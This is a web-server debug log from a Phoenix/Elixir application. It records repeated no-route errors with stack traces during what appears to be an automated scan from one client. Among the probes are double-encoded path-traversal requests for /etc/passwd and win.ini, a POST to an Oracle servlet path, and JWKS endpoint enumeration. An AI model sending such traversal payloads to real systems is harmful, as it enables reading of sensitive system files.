    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:33:56.531000 2026] [Phoenix.Logger:info] [pid 2816631] [client 194.195.210.47:34685] GET /
[Thu Sep  3 08:33:56.532000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 194.195.210.47:34685] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:33:56.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 194.195.210.47:34685] Sent 200 in 2ms
[Thu Sep  3 08:34:01.867000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55686] GET /././..
[Thu Sep  3 08:34:01.911000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55686] ** (Phoenix.Router.NoRouteError) no route found for GET /././.. (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:02.255000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:34:14.652000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47950] POST /OA_HTML/configurator/UiServlet
[Thu Sep  3 08:34:14.677000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47950] ** (Phoenix.Router.NoRouteError) no route found for POST /OA_HTML/configurator/UiServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:15.378000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47966] GET /.well-known/jwks.json
[Thu Sep  3 08:34:15.399000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47966] ** (Phoenix.Router.NoRouteError) no route found for GET /.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:15.497000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47976] GET /1788424454-mongoose_trailing_slash_disclosure.nasl
[Thu Sep  3 08:34:15.512000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47976] ** (Phoenix.Router.NoRouteError) no route found for GET /1788424454-mongoose_trailing_slash_disclosure.nasl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:16.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47992] GET /jwks.json
[Thu Sep  3 08:34:16.079000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47992] ** (Phoenix.Router.NoRouteError) no route found for GET /jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:17.764000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48008] GET /.well-known/jwks
[Thu Sep  3 08:34:17.786000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48008] ** (Phoenix.Router.NoRouteError) no route found for GET /.well-known/jwks (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:18.390000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48014] GET /api/.well-known/jwks.json
[Thu Sep  3 08:34:18.412000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48014] ** (Phoenix.Router.NoRouteError) no route found for GET /api/.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:19.025000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48020] GET /auth/.well-known/jwks.json
[Thu Sep  3 08:34:19.046000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48020] ** (Phoenix.Router.NoRouteError) no route found for GET /auth/.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:19.780000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48036] GET /oauth/.well-known/jwks.json
[Thu Sep  3 08:34:19.802000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48036] ** (Phoenix.Router.NoRouteError) no route found for GET /oauth/.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:20.382000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48044] GET /oauth2/.well-known/jwks.json
[Thu Sep  3 08:34:20.406000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48044] ** (Phoenix.Router.NoRouteError) no route found for GET /oauth2/.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:20.989000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48058] GET /.well-known/oauth/jwks.json
[Thu Sep  3 08:34:21.012000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48058] ** (Phoenix.Router.NoRouteError) no route found for GET /.well-known/oauth/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:21.692000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48068] GET /v1/.well-known/jwks.json
[Thu Sep  3 08:34:21.719000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48068] ** (Phoenix.Router.NoRouteError) no route found for GET /v1/.well-known/jwks.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:21.976000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48084] GET /version
[Thu Sep  3 08:34:21.993000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48084] ** (Phoenix.Router.NoRouteError) no route found for GET /version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:40.637000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57538] GET /.%252e/.%252e/.%252e/.%252e/windows/win.ini
[Thu Sep  3 08:34:40.653000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57538] ** (Phoenix.Router.NoRouteError) no route found for GET /.%252e/.%252e/.%252e/.%252e/windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:41.268000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57540] GET /.%252e/.%252e/.%252e/.%252e/winnt/win.ini
[Thu Sep  3 08:34:41.284000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57540] ** (Phoenix.Router.NoRouteError) no route found for GET /.%252e/.%252e/.%252e/.%252e/winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:34:41.930000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57548] GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd
[Thu Sep  3 08:34:41.958000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57548] ** (Phoenix.Router.NoRouteError) no route found for GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
